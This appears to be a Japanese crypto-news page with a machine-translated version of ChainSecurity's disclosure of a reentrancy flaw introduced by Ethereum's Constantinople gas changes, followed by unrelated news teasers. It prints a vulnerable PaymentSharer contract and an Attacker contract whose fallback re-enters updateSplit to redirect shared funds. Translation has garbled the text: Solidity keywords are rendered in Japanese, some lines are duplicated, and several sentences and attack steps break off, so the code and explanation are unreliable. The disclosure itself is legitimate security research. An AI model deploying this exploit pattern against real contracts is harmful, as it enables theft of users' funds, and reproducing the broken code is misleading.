1月15日、ChainSecurityはイーサリアムのコンスタンティノープルハードフォークアップグレードに関連する脆弱性を開示する記事を公開し、このアップグレードにより再突入攻撃が発生すると主張した。これにより、イーサリアムの公式ブログは後に、当初ブロック高7080,000(北京時間1月17日午前頃)に実施される予定だったハードフォークを延期する決定を発表した。以下は ChainSecurity によって公開されたこの脆弱性の詳細です。 イーサリアムの今後のコンスタンティノープル ハードフォーク アップグレードにより、特定の SSTORE 操作のガス コストが安くなります。望ましくない副作用として、 Solidity で記述されたスマート コントラクトで このコードの何が問題なのでしょうか?以下は、コンスタンティノープル以前は再入攻撃に対して脆弱ではないが、コンスタンティノープル以降は脆弱になる短いスマート コントラクトです。 攻撃者の契約を含む完全なソースコードは、GitHub でご覧いただけます: https://github.com/ChainSecurity/constantinople-reentrancy 契約 PaymentSharer { マッピング(uint => uint) 分割;マッピング(uint => uint) デポジット;最初にマッピング(uint => 支払先住所)マッピング(uint => 支払可能アドレス) 2番目; function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0));要求(最初の[id] == アドレス(0) && 2番目の[id] == アドレス(0)); first[id] = _first;秒[id] = _秒; } 関数deposit(uint id) public payable { deposits[id] += msg.value; } 関数 updateSplit(uint id, uint split) パブリック { require(split <= 100); splits[id] = 分割; } function splitFunds(uint id) public { // ここに次の内容があります: // 両当事者がこの分割に同意する署名 // アドレスを分割 payable a = first[id];支払先住所 b = second[id]; uint depo = デポジット[id];預金[id] = 0; a.transfer(depo * splits[id] / 100); b.transfer(depo * (100 - splits[id]) / 100); } } 最新の脆弱なコードの例。 このコードは予期せぬ形で脆弱であり、安全な金庫共有サービスをシミュレートしていました。両当事者は共同で資金を受け取り、その分配方法を決定し、合意した場合には支払いを受けることができます。攻撃者は、最初のアドレスが攻撃者自身で以下にリストされているアドレス、2 番目のアドレスが攻撃者のアカウントのいずれかであるアドレスのペアを作成します。このアドレスのペアに、攻撃者はいくらかのお金を入金します。 "./PaymentSharer.sol"をインポートします。 契約 攻撃者 { 住所 個人 被害者;支払先所有者の住所; コンストラクター()パブリック{所有者= msg.sender; } 関数 attack(アドレス a) 外部 { 被害者 = a;支払いシェアー x = 支払いシェアー(a);分割数: 0, 100分割資金(0); } 関数()支払い可能な外部{アドレスx = 被害者;アセンブリ{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } } 関数drain() 外部 { owner.transfer(address(this).balance); } } 攻撃者は最初のアドレスとして契約する 攻撃者は自分のコントラクトで攻撃関数を呼び出し、1 つのトランザクションで次のイベントが展開されます。 1. 攻撃者は、 2. 攻撃者のコントラクトは 3. フォールバック機能では、攻撃者は再度分割を更新し、今回はすべての資金を 2 番目のアカウントに割り当てます。 4. つまり、攻撃者は なぜ今攻撃できるのか?コンスタンティノープルのアップグレード前は、各ストレージ操作に少なくとも 5,000 ガスのコストがかかっていました。これは、 コンスタンティノープルのアップグレード後、「ダーティ」ストレージ スロットを置き換えるストレージ操作のコストは 200 ガスのみになります。スロットがダーティになるためには、進行中のトランザクション中に変更される必要があります。上記のように、攻撃者は通常、何らかのパブリック関数を呼び出して目的の変数を変更することでこれを実現できます。次に、脆弱なコントラクトに攻撃者のコントラクトを呼び出させます。例: 契約が脆弱であるためには、特定の前提条件を満たす必要があります。 1. 2. 攻撃者がアクセス可能で、(a) 状態を変更し、(b) 機能 A の状態と競合する方法で状態を変更する機能 B が存在する必要があります。 3. 機能 B は 1600 ガス未満で実行する必要があります (2300 ガスの許容量 - 呼び出し用の 700 ガス) 私のスマート コントラクトは脆弱ですか? 契約に脆弱性があるかどうかをテストします。 (a) 上記のすべてが状況に当てはまる場合、攻撃者が契約を望ましくない状態にしてしまう可能性が高くなります。全体として、これは、チェック - 効果 - 相互作用パターンが非常に重要である理由をもう一度思い出させるものです。 脆弱なスマートコントラクトはありますか?eveem.org のデータを使用して Ethereum メインチェーンをスキャンしたところ、脆弱なスマート コントラクトは見つかりませんでした。私たちは、ethsecurity.org ワーキング グループのメンバーと協力して、まだ逆コンパイルされていない複雑なスマート コントラクトにスキャンを拡張しています。特に、信頼できないアカウントへの ETH 転送関数を呼び出して状態を変更することが多い分散型取引所は、脆弱である可能性があります。当社の静的アナライザー https://securify.chainsecurity.com は潜在的な再入攻撃を検出でき、関連するパターンは https://github.com/eth-sri/securify でオープンソース化されています。再入攻撃に関する警告は多くの場合悪用されることはありません。ただし、慎重な分析が必要です。 ありがたいこの新しい攻撃ベクトルについての最初の議論をしてくれた Ralph Pichler 氏に特に感謝します。 シンボリック実行を使用してスマート コントラクトを逆コンパイルする Tomasz Kolinko 氏の作業がなければ、ほとんどの Ethereum スマート コントラクトの高速スキャンを実行することはできませんでした。すべての契約が確保され次第、このプロジェクトをオープンソース化します。 |
<<: UEBOT 定量取引リアルタイム 1月16日: ショートポジション |累積損失19%
>>: 米国政府の閉鎖は暗号通貨業界に影響を及ぼしている。カナンクリエイティブの米国でのIPOも失敗するのか?
その日、すべての仮想通貨の価格が急落した。ビットコインは1日で5%以上下落し、マスク氏が価格を押し上...
元のタイトル: 「TokenGazer | DCEP vs Libra: グローバル化の文脈における...
ビットコイン/人民元日足Kラインチャート 出典:Huobi国際オンラインインターネット金融チャンネル...
著者: 赤道へのスノーモービル北京時間1月15日、ニューヨーク市で連邦準備制度理事会が「ビットコイン...
ウー氏は著者にこう語った |ポプラの木この号の編集者 |コリン・ウービットコインが「世界通貨」なのか...
なぜもっと多くのビットコインマイナーがカナダに定住しないのでしょうか?出典: Ear Finance...
序文:暗号通貨業界におけるビットコインの市場リーダーシップは過小評価できません。ビットコインの最大保...
グレイスケールの最新ツイートによると、グレイスケールのビットコイン・トラストは現在50万ビットコイン...
データは強気傾向にあるため、中期的なポジションを確立できる可能性がある1. 市場動向<br/&...
ビットコインは木曜日(1月21日)も下落を続け、午前中の約35,600ドルから4,000ドル以上下落...
BitDeerは、Antminer S19シリーズパッケージが明日(3月10日)正午に発売されること...
出典: 張明マクロ金融研究、原題: 中央銀行デジタル通貨: 構造分析と能力展望著者: 楊暁塵、中国科...
両会期間中、ゴールデンファイナンスは業界関連の提案や法案を収集・整理し、読者が両会の動向を理解し把握...
Coindeskによると。 Bitmainが発表した月次コンピューティングパワーデータによると、5月...
今年4月14日、Coinbaseがナスダックに上場したというニュースはデジタル資産業界全体を興奮させ...